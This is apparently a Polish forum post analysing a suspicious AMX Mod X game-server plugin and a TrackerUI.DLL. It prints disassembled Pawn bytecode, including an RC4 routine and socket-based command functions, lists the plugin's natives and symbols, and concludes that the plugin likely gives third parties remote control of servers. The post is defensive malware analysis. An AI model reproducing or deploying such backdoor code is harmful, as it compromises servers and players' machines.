0x2248 CONST.pri 0x1
0x2250 JUMP 0x225C
0x2258 ZERO.pri
0x225C JZER 0x2270
0x2264 BREAK
0x2268 JUMP 0x2118
0x2270 BREAK
0x2274 LOAD.S.pri 0xFFFFFFF8 ; I
0x227C LOAD.S.alt 0xC ; FileName[]
0x2284 IDXADDR
0x2288 LOAD.I
0x228C MOVE.alt
0x2290 CONST.pri 0x41
0x2298 XCHG
0x229C JSLESS 0x22E4
0x22A4 LOAD.S.pri 0xFFFFFFF8 ; I
0x22AC LOAD.S.alt 0xC ; FileName[]
0x22B4 IDXADDR
0x22B8 LOAD.I
0x22BC MOVE.alt
0x22C0 CONST.pri 0x5A
0x22C8 XCHG
0x22CC JSGRTR 0x22E4
0x22D4 CONST.pri 0x1
0x22DC JUMP 0x22E8
0x22E4 ZERO.pri
0x22E8 JZER 0x22FC
0x22F0 BREAK
0x22F4 JUMP 0x2118
0x22FC BREAK
0x2300 LOAD.S.pri 0xFFFFFFF8 ; I
0x2308 LOAD.S.alt 0xC ; FileName[]
0x2310 IDXADDR
0x2314 LOAD.I
0x2318 MOVE.alt
0x231C CONST.pri 0x30
0x2324 XCHG
0x2328 JSLESS 0x2370
0x2330 LOAD.S.pri 0xFFFFFFF8 ; I
0x2338 LOAD.S.alt 0xC ; FileName[]
0x2340 IDXADDR
0x2344 LOAD.I
0x2348 MOVE.alt
0x234C CONST.pri 0x39
0x2354 XCHG
0x2358 JSGRTR 0x2370
0x2360 CONST.pri 0x1
0x2368 JUMP 0x2374
0x2370 ZERO.pri
0x2374 JZER 0x2388
0x237C BREAK
0x2380 JUMP 0x2118
0x2388 BREAK
0x238C ZERO.pri
0x2390 STACK 0x8 ; free 2 cells
0x2398 RETN
0x239C JUMP 0x2118
0x23A4 STACK 0x4 ; free 1 cells
0x23AC BREAK
0x23B0 CONST.pri 0x1
0x23B8 STACK 0x4 ; free 1 cells
0x23C0 RETN
0x23C4 PROC ; stock Encryption_RC4(Key[],KeyLen,Buffer[],BufferLen)
0x23C8 BREAK
0x23CC BREAK
; new S[256]
0x23D0 STACK 0xFFFFFC00 ; allocate 256 cells
0x23D8 ZERO.pri
0x23DC ADDR.alt 0xFFFFFC00
0x23E4 FILL 0x400 ; 256 cells
0x23EC BREAK
; new b
0x23F0 PUSH.C 0x0
; new i
0x23F8 PUSH.C 0x0
; new j
0x2400 PUSH.C 0x0
; new x
0x2408 PUSH.C 0x0
; new y
0x2410 PUSH.C 0x0
0x2418 BREAK
0x241C ZERO.S 0xFFFFFBF8 ; i
0x2424 JUMP 0x2438
0x242C BREAK
0x2430 INC.S 0xFFFFFBF8 ; i
0x2438 LOAD.S.pri 0xFFFFFBF8 ; i
0x2440 CONST.alt 0x100
0x2448 JSGEQ 0x2488
0x2450 BREAK
0x2454 ADDR.alt 0xFFFFFC00
0x245C LOAD.S.pri 0xFFFFFBF8 ; i
0x2464 BOUNDS 0xFF
0x246C IDXADDR
0x2470 MOVE.alt
0x2474 LOAD.S.pri 0xFFFFFBF8 ; i
0x247C STOR.I
0x2480 JUMP 0x242C
0x2488 BREAK
0x248C ZERO.S 0xFFFFFBF8 ; i
0x2494 JUMP 0x24A8
0x249C BREAK
0x24A0 INC.S 0xFFFFFBF8 ; i
0x24A8 LOAD.S.pri 0xFFFFFBF8 ; i
0x24B0 CONST.alt 0x100
0x24B8 JSGEQ 0x25F4
0x24C0 BREAK
0x24C4 LOAD.S.pri 0xFFFFFBF4 ; j
0x24CC PUSH.pri
0x24D0 ADDR.alt 0xFFFFFC00
0x24D8 LOAD.S.pri 0xFFFFFBF8 ; i
0x24E0 BOUNDS 0xFF
0x24E8 LIDX
0x24EC POP.alt
0x24F0 ADD
0x24F4 PUSH.pri
0x24F8 LOAD.S.pri 0xC ; Key[]
0x2500 PUSH.pri
0x2504 LOAD.S.pri 0x10 ; KeyLen
0x250C LOAD.S.alt 0xFFFFFBF8 ; i
0x2514 SDIV.alt
0x2518 MOVE.pri
0x251C POP.alt
0x2520 IDXADDR
0x2524 LOAD.I
0x2528 POP.alt
0x252C ADD
0x2530 MOVE.alt
0x2534 CONST.pri 0x100
0x253C SDIV.alt
0x2540 MOVE.pri
0x2544 STOR.S.pri 0xFFFFFBF4 ; j
0x254C BREAK
0x2550 ADDR.alt 0xFFFFFC00
0x2558 LOAD.S.pri 0xFFFFFBF8 ; i
0x2560 BOUNDS 0xFF
0x2568 LIDX
0x256C STOR.S.pri 0xFFFFFBFC ; b
0x2574 BREAK
0x2578 ADDR.alt 0xFFFFFC00
0x2580 LOAD.S.pri 0xFFFFFBF8 ; i
0x2588 BOUNDS 0xFF
0x2590 IDXADDR
0x2594 PUSH.pri
0x2598 ADDR.alt 0xFFFFFC00
0x25A0 LOAD.S.pri 0xFFFFFBF4 ; j
0x25A8 BOUNDS 0xFF
0x25B0 LIDX
0x25B4 POP.alt
0x25B8 STOR.I
0x25BC BREAK
0x25C0 ADDR.alt 0xFFFFFC00
0x25C8 LOAD.S.pri 0xFFFFFBF4 ; j
0x25D0 BOUNDS 0xFF
0x25D8 IDXADDR
0x25DC MOVE.alt
0x25E0 LOAD.S.pri 0xFFFFFBFC ; b
0x25E8 STOR.I
0x25EC JUMP 0x249C
0x25F4 BREAK
0x25F8 ZERO.S 0xFFFFFBF8 ; i
0x2600 JUMP 0x2614
0x2608 BREAK
0x260C INC.S 0xFFFFFBF8 ; i
0x2614 LOAD.S.pri 0xFFFFFBF8 ; i
0x261C LOAD.S.alt 0x18 ; BufferLen
0x2624 JSGEQ 0x2804
0x262C BREAK
0x2630 LOAD.S.pri 0xFFFFFBF0 ; x
0x2638 ADD.C 0x1 ; signed: 1
0x2640 MOVE.alt
0x2644 CONST.pri 0x100
0x264C SDIV.alt
0x2650 MOVE.pri
0x2654 STOR.S.pri 0xFFFFFBF0 ; x
0x265C BREAK
0x2660 ADDR.alt 0xFFFFFC00
0x2668 LOAD.S.pri 0xFFFFFBF0 ; x
0x2670 BOUNDS 0xFF
0x2678 LIDX
0x267C MOVE.alt
0x2680 LOAD.S.pri 0xFFFFFBEC ; y
0x2688 ADD
0x268C MOVE.alt
0x2690 CONST.pri 0x100
0x2698 SDIV.alt
0x269C MOVE.pri
0x26A0 STOR.S.pri 0xFFFFFBEC ; y
0x26A8 BREAK
0x26AC ADDR.alt 0xFFFFFC00
0x26B4 LOAD.S.pri 0xFFFFFBF0 ; x
0x26BC BOUNDS 0xFF
0x26C4 LIDX
0x26C8 STOR.S.pri 0xFFFFFBFC ; b
0x26D0 BREAK
0x26D4 ADDR.alt 0xFFFFFC00
0x26DC LOAD.S.pri 0xFFFFFBF0 ; x
0x26E4 BOUNDS 0xFF
0x26EC IDXADDR
0x26F0 PUSH.pri
0x26F4 ADDR.alt 0xFFFFFC00
0x26FC LOAD.S.pri 0xFFFFFBEC ; y
0x2704 BOUNDS 0xFF
0x270C LIDX
0x2710 POP.alt
0x2714 STOR.I
0x2718 BREAK
0x271C ADDR.alt 0xFFFFFC00
0x2724 LOAD.S.pri 0xFFFFFBEC ; y
0x272C BOUNDS 0xFF
0x2734 IDXADDR
0x2738 MOVE.alt
0x273C LOAD.S.pri 0xFFFFFBFC ; b
0x2744 STOR.I
0x2748 BREAK
0x274C ADDR.alt 0xFFFFFC00
0x2754 LOAD.S.pri 0xFFFFFBF0 ; x
0x275C BOUNDS 0xFF
0x2764 LIDX
0x2768 PUSH.pri
0x276C ADDR.alt 0xFFFFFC00
0x2774 LOAD.S.pri 0xFFFFFBEC ; y
0x277C BOUNDS 0xFF
0x2784 LIDX
0x2788 POP.alt
0x278C ADD
0x2790 MOVE.alt
0x2794 CONST.pri 0x100
0x279C SDIV.alt
0x27A0 MOVE.pri
0x27A4 STOR.S.pri 0xFFFFFBF4 ; j
0x27AC BREAK
0x27B0 LOAD.S.pri 0xFFFFFBF8 ; i
0x27B8 LOAD.S.alt 0x14 ; Buffer[]
0x27C0 IDXADDR
0x27C4 PUSH.pri
0x27C8 LOAD.I
0x27CC PUSH.pri
0x27D0 ADDR.alt 0xFFFFFC00
0x27D8 LOAD.S.pri 0xFFFFFBF4 ; j
0x27E0 BOUNDS 0xFF
0x27E8 LIDX
0x27EC POP.alt
0x27F0 XOR
0x27F4 POP.alt
0x27F8 STOR.I
0x27FC JUMP 0x2608
0x2804 STACK 0x414 ; free 261 cells
0x280C ZERO.pri
0x2810 RETN
Lista natywów
native: socket_send2
native: min
native: socket_recv
native: close_dir
native: next_file
native: open_dir
native: socket_close
native: rmdir
native: remove_task
native: task_exists
native: delete_file
native: rename_file
native: fclose
native: fputc
native: fseek
native: fopen
native: copy
native: md5_file
native: file_exists
native: equal
native: socket_change
native: set_task
native: random_num
native: get_user_name
native: get_user_ip
native: get_plugin
native: add
native: num_to_str
native: socket_open
native: mkdir
native: set_pcvar_num
native: get_pcvar_num
native: register_cvar
native: precache_generic
native: set_pcvar_string
native: format
native: get_pcvar_string
native: get_cvar_pointer
native: register_plugin
native: replace
native: strlen
native: contain
Wszystkie funkcje
0x000023C4 stock Encryption_RC4(Key[],KeyLen,Buffer[],BufferLen)
0x000020C8 stock bool:Validator_FileName(FileName[])
0x00000DEC stock __l33tn3t_check_socket()
0x0000198C stock __l33tn3t_flush_temp()
0x00001BA0 stock __l33tn3t_memcpy(dst[],tocopy,src[])
0x000005A0 stock __l33tn3t_plugin_cfg()
0x00001874 stock __l33tn3t_plugin_end()
0x000004B0 stock __l33tn3t_plugin_init()
0x00001C34 stock __l33tn3t_sock_recv(command[24],data[1000])
0x00001E70 stock __l33tn3t_sock_send(command[],data[],data_len)
0x00000DC8 public amx_g_check_bomb_pev_interval()
0x00000434 public plugin_cfg()
0x00000458 public plugin_end()
0x000002C0 public plugin_init()
0x0000047C public plugin_precache()
0x00000008 stock replace_all(string[],len,what[],with[])
I to chyba wyjaśnia wszystko 😉 http://gamehostingtalk.pl/topic/22661-pukawka-serwerywiaderkocom/
Analiza TrackerUI.DLL
http://anubis.iseclab.org/?action=result&task_id=182dfca378672469435012edf8a6d97b5&format=html#idp33540560
Kolejne informacje
.rdata:1000F090 0000000D C C:\\Users\\Pawe
.rdata:1000F09F 0000004E C ******\\Documents\\Visual Studio 2013\\Projects\\TrackerUI\\Release\\TrackerUI.pdb
Kod trackera
/*Tu był kod , został usunięty na prośbę autora */
Krótkie wnioski
Plugin wiaderka pozwala prawdopodobnie na kontrole serwera , wykonywanie komend, podmiana plików etc. wątpię że ktokolwiek chce dawać dostęp do serwera osobom trzecim. TrackerUI jest raczej bezpieczny , podmienia niektóre pliki ale nie są to pliki ważne ( oczywiście podmienia pliki od mastera ). Tracker ma możliwość wykonywania dowolnego kodu na komputerze gracza. Osobiście nie radził bym wrzucać tego na serwer.
Ładowane moduły
Forced loaded modules: sockets
Required libraries: sockets
Wszystkie symbole
codestart codeend address type name
0x00000130 0x000002C0 0xFFFFFFE8 local val temp_pos
0x000000FC 0x000002C0 0xFFFFFFEC local val total_len
0x000000B8 0x000002C0 0xFFFFFFF0 local val diff
0x00000084 0x000002C0 0xFFFFFFF4 local val with_len
0x00000078 0x000002C0 0xFFFFFFF8 local val total
0x00000014 0x000002C0 0xFFFFFFFC local val pos
0x00000008 0x000002C0 0x00000018 local ref with[0]
0x00000008 0x000002C0 0x00000014 local ref what[0]
0x00000008 0x000002C0 0x00000010 local val len
0x00000008 0x000002C0 0x0000000C local ref string[0]
0x00000350 0x00000410 0xFFFFFEFC local val Tmp[64]
0x00000300 0x0000042C 0xFFFFFFFC local val PC
0x0000086C 0x00000DC0 0xFFFFE95C local val plugin_status[64]
0x00000850 0x00000DC0 0xFFFFEA5C local val plugin_author[64]
0x00000834 0x00000DC0 0xFFFFEB5C local val plugin_version[64]
0x00000818 0x00000DC0 0xFFFFEC5C local val plugin_name[64]
0x000007FC 0x00000DC0 0xFFFFED5C local val plugin_file[64]
0x0000071C 0x00000DC0 0xFFFFEE5C local val tmp[128]
0x00000700 0x00000DC0 0xFFFFF05C local val data[1000]
0x00000680 0x00000DC0 0xFFFFFFFC local val error
0x00000F98 0x000010C8 0xFFFFEF78 local val file_md5[34]
0x00001404 0x000014A0 0xFFFFE964 local val i
0x000015A4 0x0000167C 0xFFFFE6D8 local val i
0x00001570 0x000016B8 0xFFFFE6DC local val file_name_len
0x00001550 0x000016B8 0xFFFFE6E0 local val temp_dir_path[128]
0x000014C8 0x00001750 0xFFFFE8E0 local val tmp_file_md5[34]
0x00001370 0x00001758 0xFFFFE968 local val file
0x00001164 0x00001760 0xFFFFE96C local val tmp_file_name[256]
0x00001148 0x00001760 0xFFFFED6C local val file_md5[34]
0x00001140 0x00001760 0xFFFFEDF4 local val segment_len
0x00001138 0x00001760 0xFFFFEDF8 local val current_segment
0x0000111C 0x00001760 0xFFFFEDFC local val file_name[128]
0x00001110 0x00001760 0xFFFFEFFC local val max_segment_len
0x00000E60 0x0000186C 0xFFFFF000 local val data[1000]
0x00000E44 0x0000186C 0xFFFFFFA0 local val command[24]
0x000019B8 0x00001B98 0xFFFFFBFC local val dir
0x00001998 0x00001B98 0xFFFFFC00 local val tmp_file_name[256]
0x00001BAC 0x00001C2C 0xFFFFFFFC local val i
0x00001BA0 0x00001C34 0x00000014 local ref src[0]
0x00001BA0 0x00001C34 0x00000010 local val tocopy
0x00001BA0 0x00001C34 0x0000000C local ref dst[0]
0x00001CD4 0x00001D54 0xFFFFEFDC local val i
0x00001C60 0x00001E70 0xFFFFEFE0 local val received_bytes
0x00001C40 0x00001E70 0xFFFFEFE4 local val packet[1031]
0x00001C34 0x00001E70 0x00000010 local ref data[1000]
0x00001C34 0x00001E70 0x0000000C local ref command[24]
0x00001E9C 0x00001F34 0xFFFFEFE4 local val i
0x00001E7C 0x000020C8 0xFFFFEFE8 local val packet[1030]
0x00001E70 0x000020C8 0x00000014 local val data_len
0x00001E70 0x000020C8 0x00000010 local ref data[0]
0x00001E70 0x000020C8 0x0000000C local ref command[0]
0x00002108 0x000023AC 0xFFFFFFF8 local val I
0x000020D4 0x000023C4 0xFFFFFFFC local val Len
0x000020C8 0x000023C4 0x0000000C local ref FileName[0]
0x00002410 0x0000280C 0xFFFFFBEC local val y
0x00002408 0x0000280C 0xFFFFFBF0 local val x
0x00002400 0x0000280C 0xFFFFFBF4 local val j
0x000023F8 0x0000280C 0xFFFFFBF8 local val i
0x000023F0 0x0000280C 0xFFFFFBFC local val b
0x000023D0 0x0000280C 0xFFFFFC00 local val S[256]
0x000023C4 0x00002814 0x00000018 local val BufferLen
0x000023C4 0x00002814 0x00000014 local ref Buffer[0]
0x000023C4 0x00002814 0x00000010 local val KeyLen
0x000023C4 0x00002814 0x0000000C local ref Key[0]
0x000023C4 0x00002814 0x00000460 global val Base64DecryptionTable[256]
0x000023C4 0x00002814 0x00000460 global val Base64EncryptionTable[64]
0x000023C4 0x00002814 0x000023C4 stock Encryption_RC4
0x000020C8 0x000023C4 0x000020C8 stock Validator_FileName
0x00000DEC 0x00001874 0x00000DEC stock __l33tn3t_check_socket
0x000004B0 0x00002814 0x00000120 global val __l33tn3t_domain[11]
0x000004B0 0x00002814 0x00000238 global val __l33tn3t_enabled
0x0000198C 0x00001BA0 0x0000198C stock __l33tn3t_flush_temp
0x000004B0 0x00002814 0x00000180 global val __l33tn3t_lock_cvar_name[30]
0x000004B0 0x00002814 0x0000023C global val __l33tn3t_lock_cvar_pointer
0x00001BA0 0x00001C34 0x00001BA0 stock __l33tn3t_memcpy
0x000005A0 0x00000DC8 0x000005A0 stock __l33tn3t_plugin_cfg
0x00001874 0x0000198C 0x00001874 stock __l33tn3t_plugin_end
0x000004B0 0x000005A0 0x000004B0 stock __l33tn3t_plugin_init
0x000004B0 0x00002814 0x0000014C global val __l33tn3t_port
0x000004B0 0x00002814 0x00000150 global val __l33tn3t_rc_key[12]
0x000004B0 0x00002814 0x000001F8 global val __l33tn3t_separator
0x00001C34 0x00001E70 0x00001C34 stock __l33tn3t_sock_recv
0x00001E70 0x000020C8 0x00001E70 stock __l33tn3t_sock_send
0x000004B0 0x00002814 0x00000244 global val __l33tn3t_socket
0x000004B0 0x00002814 0x00000240 global val __l33tn3t_socket_check_taskid
0x000004B0 0x00002814 0x000001FC global val __l33tn3t_tempdir[15]
0x000004B0 0x00002814 0x0000011C global val __l33tn3t_version
0x00000DC8 0x00000DEC 0x00000DC8 public amx_g_check_bomb_pev_interval
0x00000434 0x00000458 0x00000434 public plugin_cfg
0x00000458 0x0000047C 0x00000458 public plugin_end
0x000002C0 0x00000434 0x000002C0 public plugin_init
0x0000047C 0x000004B0 0x0000047C public plugin_precache
0x00000008 0x000002C0 0x00000008 stock replace_all
Zdekompilowany kod sekcji kodu
http://amxx.pl/pastebin/4wrct5n22f4z/
http://pastebin.com/g1cPa8dv
[spoiler title="Pełen kod"]
0x8 PROC ; stock replace_all(string[],len,what[],with[])
0xC BREAK
0x10 BREAK
; new pos
0x14 PUSH.C 0x0
0x1C BREAK
0x20 PUSH.S 0x14 ; what[]
0x28 PUSH.S 0xC ; string[]
0x30 PUSH.C 0x8
0x38 SYSREQ.C 0x0 ; contain
0x40 STACK 0xC ; free 3 cells
0x48 STOR.S.pri 0xFFFFFFFC ; pos
0x50 EQ.C.pri 0xFFFFFFFF
0x58 JZER 0x74
0x60 BREAK
0x64 ZERO.pri
0x68 STACK 0x4 ; free 1 cells
0x70 RETN
0x74 BREAK
; new total
0x78 PUSH.C 0x0
0x80 BREAK
; new with_len
0x84 STACK 0xFFFFFFFC ; allocate 1 cells
0x8C PUSH.S 0x18 ; with[]
0x94 PUSH.C 0x4
0x9C SYSREQ.C 0x1 ; strlen
0xA4 STACK 0x8 ; free 2 cells
0xAC STOR.S.pri 0xFFFFFFF4 ; with_len
0xB4 BREAK
; new diff
0xB8 STACK 0xFFFFFFFC ; allocate 1 cells
0xC0 PUSH.S 0x14 ; what[]
0xC8 PUSH.C 0x4
0xD0 SYSREQ.C 0x1 ; strlen
0xD8 STACK 0x8 ; free 2 cells
0xE0 MOVE.alt
0xE4 LOAD.S.pri 0xFFFFFFF4 ; with_len
0xEC SUB.alt
0xF0 STOR.S.pri 0xFFFFFFF0 ; diff
0xF8 BREAK
; new total_len
0xFC STACK 0xFFFFFFFC ; allocate 1 cells
0x104 PUSH.S 0xC ; string[]
0x10C PUSH.C 0x4
0x114 SYSREQ.C 0x1 ; strlen
0x11C STACK 0x8 ; free 2 cells
0x124 STOR.S.pri 0xFFFFFFEC ; total_len
0x12C BREAK
; new temp_pos
0x130 PUSH.C 0x0
0x138 BREAK
0x13C BREAK
0x140 PUSH.S 0x18 ; with[]
0x148 PUSH.S 0x14 ; what[]
0x150 LOAD.S.pri 0xFFFFFFFC ; pos
0x158 LOAD.S.alt 0x10 ; len
0x160 SUB.alt
0x164 PUSH.pri
0x168 LOAD.S.pri 0xFFFFFFFC ; pos
0x170 LOAD.S.alt 0xC ; string[]
0x178 IDXADDR
0x17C PUSH.pri
0x180 PUSH.C 0x10
0x188 SYSREQ.C 0x2 ; replace
0x190 STACK 0x14 ; free 5 cells
0x198 JZER 0x2A8
0x1A0 BREAK
0x1A4 INC.S 0xFFFFFFF8 ; total
0x1AC BREAK
0x1B0 LOAD.S.pri 0xFFFFFFF4 ; with_len
0x1B8 LOAD.S.alt 0xFFFFFFFC ; pos
0x1C0 ADD
0x1C4 STOR.S.pri 0xFFFFFFFC ; pos
0x1CC BREAK
0x1D0 LOAD.S.pri 0xFFFFFFF0 ; diff
0x1D8 LOAD.S.alt 0xFFFFFFEC ; total_len
0x1E0 SUB.alt
0x1E4 STOR.S.pri 0xFFFFFFEC ; total_len
0x1EC BREAK
0x1F0 LOAD.S.pri 0xFFFFFFFC ; pos
0x1F8 LOAD.S.alt 0xFFFFFFEC ; total_len
0x200 JSLESS 0x214
0x208 BREAK
0x20C JUMP 0x2A8
0x214 BREAK
0x218 PUSH.S 0x14 ; what[]
0x220 LOAD.S.pri 0xFFFFFFFC ; pos
0x228 LOAD.S.alt 0xC ; string[]
0x230 IDXADDR
0x234 PUSH.pri
0x238 PUSH.C 0x8
0x240 SYSREQ.C 0x0 ; contain
0x248 STACK 0xC ; free 3 cells
0x250 STOR.S.pri 0xFFFFFFE8 ; temp_pos
0x258 BREAK
0x25C LOAD.S.pri 0xFFFFFFE8 ; temp_pos
0x264 EQ.C.pri 0xFFFFFFFF
0x26C JZER 0x280
0x274 BREAK
0x278 JUMP 0x2A8
0x280 BREAK
0x284 LOAD.S.pri 0xFFFFFFE8 ; temp_pos
0x28C LOAD.S.alt 0xFFFFFFFC ; pos
0x294 ADD
0x298 STOR.S.pri 0xFFFFFFFC ; pos
0x2A0 JUMP 0x13C
0x2A8 BREAK
0x2AC LOAD.S.pri 0xFFFFFFF8 ; total
0x2B4 STACK 0x18 ; free 6 cells
0x2BC RETN
0x2C0 PROC ; public plugin_init()
0x2C4 BREAK
0x2C8 BREAK
0x2CC PUSH.C 0x68
0x2D4 PUSH.C 0x58
0x2DC PUSH.C 0x0
0x2E4 PUSH.C 0xC
0x2EC SYSREQ.C 0x3 ; register_plugin
0x2F4 STACK 0x10 ; free 4 cells
0x2FC BREAK
; new PC
0x300 STACK 0xFFFFFFFC ; allocate 1 cells
0x308 PUSH.C 0x84
0x310 PUSH.C 0x4
0x318 SYSREQ.C 0x4 ; get_cvar_pointer
0x320 STACK 0x8 ; free 2 cells
0x328 STOR.S.pri 0xFFFFFFFC ; PC
0x330 BREAK
0x334 LOAD.S.pri 0xFFFFFFFC ; PC
0x33C MOVE.alt
0x340 ZERO.pri
0x344 JSGEQ 0x410
0x34C BREAK
; new Tmp[64]
0x350 STACK 0xFFFFFF00 ; allocate 64 cells
0x358 ZERO.pri
0x35C ADDR.alt 0xFFFFFEFC
0x364 FILL 0x100 ; 64 cells
0x36C BREAK
0x370 PUSH.C 0x3F
0x378 PUSH.ADR 0xFFFFFEFC ; Tmp[64]
0x380 PUSH.S 0xFFFFFFFC ; PC
0x388 PUSH.C 0xC
0x390 SYSREQ.C 0x5 ; get_pcvar_string
0x398 STACK 0x10 ; free 4 cells
0x3A0 BREAK
0x3A4 PUSH.ADR 0xFFFFFEFC ; Tmp[64]
0x3AC PUSH.C 0xC4
0x3B4 PUSH.C 0x3F
0x3BC PUSH.ADR 0xFFFFFEFC ; Tmp[64]
0x3C4 PUSH.C 0x10
0x3CC SYSREQ.C 0x6 ; format
0x3D4 STACK 0x14 ; free 5 cells
0x3DC BREAK
0x3E0 PUSH.ADR 0xFFFFFEFC ; Tmp[64]
0x3E8 PUSH.S 0xFFFFFFFC ; PC
0x3F0 PUSH.C 0x8
0x3F8 SYSREQ.C 0x7 ; set_pcvar_string
0x400 STACK 0xC ; free 3 cells
0x408 STACK 0x100 ; free 64 cells
0x410 BREAK
0x414 PUSH.C 0x0
0x41C CALL 0x4B0 ; stock __l33tn3t_plugin_init()
0x424 STACK 0x4 ; free 1 cells
0x42C ZERO.pri
0x430 RETN
0x434 PROC ; public plugin_cfg()
0x438 BREAK
0x43C BREAK
0x440 PUSH.C 0x0
0x448 CALL 0x5A0 ; stock __l33tn3t_plugin_cfg()
0x450 ZERO.pri
0x454 RETN
0x458 PROC ; public plugin_end()
0x45C BREAK
0x460 BREAK
0x464 PUSH.C 0x0
0x46C CALL 0x1874 ; stock __l33tn3t_plugin_end()
0x474 ZERO.pri
0x478 RETN
0x47C PROC ; public plugin_precache()
0x480 BREAK
0x484 BREAK
0x488 PUSH.C 0xD4
0x490 PUSH.C 0x4
0x498 SYSREQ.C 0x8 ; precache_generic
0x4A0 STACK 0x8 ; free 2 cells
0x4A8 ZERO.pri
0x4AC RETN
0x4B0 PROC ; stock __l33tn3t_plugin_init()
0x4B4 BREAK
0x4B8 BREAK
0x4BC PUSH.C 0x180
0x4C4 PUSH.C 0x4
0x4CC SYSREQ.C 0x4 ; get_cvar_pointer
0x4D4 STACK 0x8 ; free 2 cells
0x4DC STOR.pri 0x23C ; __l33tn3t_lock_cvar_pointer
0x4E4 NOT
0x4E8 JZER 0x534
0x4F0 BREAK
0x4F4 PUSH.C 0x0
0x4FC PUSH.C 0x1A4
0x504 PUSH.C 0x248
0x50C PUSH.C 0x180
0x514 PUSH.C 0x10
0x51C SYSREQ.C 0x9 ; register_cvar
0x524 STACK 0x14 ; free 5 cells
0x52C STOR.pri 0x23C ; __l33tn3t_lock_cvar_pointer
0x534 BREAK
0x538 PUSH 0x23C ; __l33tn3t_lock_cvar_pointer
0x540 PUSH.C 0x4
0x548 SYSREQ.C 0xA ; get_pcvar_num
0x550 STACK 0x8 ; free 2 cells
0x558 MOVE.alt
0x55C LOAD.pri 0x11C ; __l33tn3t_version
0x564 JSLEQ 0x598
0x56C BREAK
0x570 PUSH 0x11C ; __l33tn3t_version
0x578 PUSH 0x23C ; __l33tn3t_lock_cvar_pointer
0x580 PUSH.C 0x8
0x588 SYSREQ.C 0xB ; set_pcvar_num
0x590 STACK 0xC ; free 3 cells
0x598 ZERO.pri
0x59C RETN
0x5A0 PROC ; stock __l33tn3t_plugin_cfg()
0x5A4 BREAK
0x5A8 BREAK
0x5AC PUSH 0x23C ; __l33tn3t_lock_cvar_pointer
0x5B4 PUSH.C 0x4
0x5BC SYSREQ.C 0xA ; get_pcvar_num
0x5C4 STACK 0x8 ; free 2 cells
0x5CC MOVE.alt
0x5D0 LOAD.pri 0x11C ; __l33tn3t_version
0x5D8 JNEQ 0x620
0x5E0 BREAK
0x5E4 PUSH.C 0x0
0x5EC PUSH 0x23C ; __l33tn3t_lock_cvar_pointer
0x5F4 PUSH.C 0x8
0x5FC SYSREQ.C 0xB ; set_pcvar_num
0x604 STACK 0xC ; free 3 cells
0x60C BREAK
0x610 CONST.pri 0x1
0x618 STOR.pri 0x238 ; bool:__l33tn3t_enabled
0x620 BREAK
0x624 LOAD.pri 0x238 ; bool:__l33tn3t_enabled
0x62C NOT
0x630 JZER 0x644
0x638 BREAK
0x63C ZERO.pri
0x640 RETN
0x644 BREAK
0x648 PUSH.C 0x1FC
0x650 PUSH.C 0x4
0x658 SYSREQ.C 0xC ; mkdir
0x660 STACK 0x8 ; free 2 cells
0x668 BREAK
0x66C PUSH.C 0x0
0x674 CALL 0x198C ; stock __l33tn3t_flush_temp()
0x67C BREAK
; new error
0x680 PUSH.C 0x0
0x688 BREAK
0x68C PUSH.ADR 0xFFFFFFFC ; error
0x694 PUSH.C 0x2
0x69C PUSH 0x14C ; __l33tn3t_port
0x6A4 PUSH.C 0x120
0x6AC PUSH.C 0x10
0x6B4 SYSREQ.C 0xD ; socket_open
0x6BC STACK 0x14 ; free 5 cells
0x6C4 STOR.pri 0x244 ; __l33tn3t_socket
0x6CC BREAK
0x6D0 LOAD.pri 0x244 ; __l33tn3t_socket
0x6D8 MOVE.alt
0x6DC ZERO.pri
0x6E0 JSLESS 0x6FC
0x6E8 BREAK
0x6EC ZERO.pri
0x6F0 STACK 0x4 ; free 1 cells
0x6F8 RETN
0x6FC BREAK
; new data[1000]
0x700 STACK 0xFFFFF060 ; allocate 1000 cells
0x708 ZERO.pri
0x70C ADDR.alt 0xFFFFF05C
0x714 FILL 0xFA0 ; 1000 cells
; new tmp[128]
0x71C STACK 0xFFFFFE00 ; allocate 128 cells
0x724 ZERO.pri
0x728 ADDR.alt 0xFFFFEE5C
0x730 FILL 0x200 ; 128 cells
0x738 BREAK
0x73C PUSH.C 0x7F
0x744 PUSH.ADR 0xFFFFEE5C ; tmp[128]
0x74C PUSH 0x11C ; __l33tn3t_version
0x754 PUSH.C 0xC
0x75C SYSREQ.C 0xE ; num_to_str
0x764 STACK 0x10 ; free 4 cells
0x76C BREAK
0x770 PUSH.C 0x0
0x778 PUSH.ADR 0xFFFFEE5C ; tmp[128]
0x780 PUSH.C 0x3E7
0x788 PUSH.ADR 0xFFFFF05C ; data[1000]
0x790 PUSH.C 0x10
0x798 SYSREQ.C 0xF ; add
0x7A0 STACK 0x14 ; free 5 cells
0x7A8 BREAK
0x7AC ADDR.pri 0xFFFFF05C ; data[1000]
0x7B4 PUSH.pri
0x7B8 PUSH.ADR 0xFFFFF05C ; data[1000]
0x7C0 PUSH.C 0x4
0x7C8 SYSREQ.C 0x1 ; strlen
0x7D0 STACK 0x8 ; free 2 cells
0x7D8 BOUNDS 0x3E7
0x7E0 POP.alt
0x7E4 IDXADDR
0x7E8 MOVE.alt
0x7EC LOAD.pri 0x1F8 ; __l33tn3t_separator
0x7F4 STOR.I
0x7F8 BREAK
; new plugin_file[64]
0x7FC STACK 0xFFFFFF00 ; allocate 64 cells
0x804 ZERO.pri
0x808 ADDR.alt 0xFFFFED5C
0x810 FILL 0x100 ; 64 cells
; new plugin_name[64]
0x818 STACK 0xFFFFFF00 ; allocate 64 cells
0x820 ZERO.pri
0x824 ADDR.alt 0xFFFFEC5C
0x82C FILL 0x100 ; 64 cells
; new plugin_version[64]
0x834 STACK 0xFFFFFF00 ; allocate 64 cells
0x83C ZERO.pri
0x840 ADDR.alt 0xFFFFEB5C
0x848 FILL 0x100 ; 64 cells
; new plugin_author[64]
0x850 STACK 0xFFFFFF00 ; allocate 64 cells
0x858 ZERO.pri
0x85C ADDR.alt 0xFFFFEA5C
0x864 FILL 0x100 ; 64 cells
; new plugin_status[64]
0x86C STACK 0xFFFFFF00 ; allocate 64 cells
0x874 ZERO.pri
0x878 ADDR.alt 0xFFFFE95C
0x880 FILL 0x100 ; 64 cells
0x888 BREAK
0x88C PUSH.C 0x0
0x894 CONST.pri 0x24C
0x89C HEAP 0x4
0x8A4 MOVS 0x4
0x8AC PUSH.alt
0x8B0 PUSH.C 0x3F
0x8B8 PUSH.ADR 0xFFFFE95C ; plugin_status[64]
0x8C0 PUSH.C 0x3F
0x8C8 PUSH.ADR 0xFFFFEA5C ; plugin_author[64]
